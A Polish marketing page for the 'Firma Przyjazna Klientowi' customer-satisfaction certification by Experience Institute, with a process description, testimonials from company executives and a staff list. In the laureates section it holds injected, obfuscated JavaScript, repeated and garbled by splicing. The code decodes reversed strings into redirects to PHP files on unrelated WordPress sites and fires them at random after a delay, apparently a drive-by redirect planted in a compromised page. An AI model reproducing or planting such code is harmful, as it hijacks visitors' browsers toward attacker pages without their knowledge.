Sprawdź jak klienci oceniają obsługę w Twojej firmie

Rocznie co piąty konsument decyduje się na zmianę dostawcy usług
z powodu złej jakości obsługi klienta

DOWIEDZ SIĘ WIĘCEJ

Sprawdź jaka jest siła <br>głosu Twoich ambasadorów

Sprawdź jaka jest siła
głosu Twoich ambasadorów

Polacy ufają rekomendacjom i kierują się nimi w swoich wyborach.
Tylko w ciągu kwartału, na zakupy z polecenia decyduje się co czwarta osoba.

POBIERZ OFERTĘ

Firma Przyjazna Klientowi

Niezależne Badanie Satysfakcji Klienta

Godło Firma Przyjazna Klientowi jest jedynym wyróżnieniem w zakresie satysfakcji ze współpracy z Firmą, opartym na wynikach niezależnego badania satysfakcji Klienta.

Wykorzystanie godła w działaniach promocyjnych wpływa pozytywnie na budowanie wizerunku firmy przyjaznej klientowi. Przekłada się to na jakość obsługi Klientów, wzrost ich lojalności i prawdopodobieństwa rekomendacji oferowanych produktów oraz zwiększenie motywacji i zaangażowania pracowników Twojej firmy.

Jeśli nie zatroszczysz się o swoich klientów, na pewno zatroszczy się o nich ktoś inny.

Proces certyfikacji

Krok pierwszy

Badanie i Analiza

Wypracowany przez lata kanon badania Firma Przyjazna Klientowi dostosowujemy do specyfiki działalności Twojej Firmy. Odpowiednia metodologia jest każdorazowo dobierana ze względu na rodzaj i kanały komunikacji Twojej Firmy z Klientami.

Krok drugi

Raport i rekomendacje

Przygotowany przez zespół ekspertów Działu Badań i Certyfikacji kompleksowy raport zdiagnozuje mocne strony Twojej Firmy w komunikacji z Klientami, a także wskaże obszary, które wymagają poprawy. Dowiesz się jak spełnić oczekiwania swoich Klientów.

Krok trzeci

Promocja i wizerunek

Pozytywne opinie Klientów mają wielką moc. Wykorzystaj je w komunikacji zewnętrznej, a także by budować motywację i zaangażowanie swoich pracowników – to właśnie oni bezpośrednio i pośrednio kształtują wizerunek Twojej Firmy, oferowanych przez nią usług i produktów.

Buduj wizerunek firmy dbającej o swoich klientów,
wykorzystując najlepsze standardy!

Zaprezentuj swoje działania podczas uroczystej Gali

Wybrani Laureaci

$logo-sant$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ander-consumer-bank$

Poprzednie

Następne

Godło Firmy Przyjaznej Klientowi to dla nas szczególne wyróżnienie. Przyznawane jest bezpośrednio przez Klientów i obroniliśmy je po raz piąty z rzędu na stałe zadomowiając się w gronie firm, które co roku z sukcesem przechodzą tę weryfikację.

Jan Mądrzak

Wiceprezes Zarządu PGE Obrót S.A.

Znalezienie się w gronie Firm Przyjaznych Klientowi jest dla nas dużym zaszczytem. Jest także dowodem uznania i docenienia naszych starań przez klientów.

Jarosław Domowicz

Technical Academy PPG Deco Manager

Jest to ogromne wyróżnienie, na które cały Zespół Idea Money pracował przez wiele miesięcy. Ten wysiłek doceniany jest przez naszych Klientów i to jest dla nas bardzo ważne.

Emilia Ołdakowska

Koordynator Zespołu Jakości I Szkoleń Idea Money S.A.

Program Firma Przyjazna Klientowi należy do agencji badawczej Experience Institute

Experience Institute to jeden organizm, w którym każdego dnia spotykają się perspektywy badaczy ilościowych i badaczy jakościowych podczas pomocy w rozwiązaniu problemów biznesowych naszych klientów.

Skorzystaj z naszego doświadczenia

Michał Łysik
Dyrektor działu badań i sprzedaży

Ewelina Kapusta
Key Account Manager

Błażej Małecki
Key Account Manager

Anna Szymczak
Menedżer projektów badawczych

Agnieszka Radomska
Menedżer projektów badawczych

Katarzyna Deleżuch
Menedżer projektów badawczych

Wojciech Bodzan
Menedżer projektów badawczych

Grzegorz Samonek
Menedżer projektów badawczych

Badanie satysfakcji Klientów – poznaj szczegóły!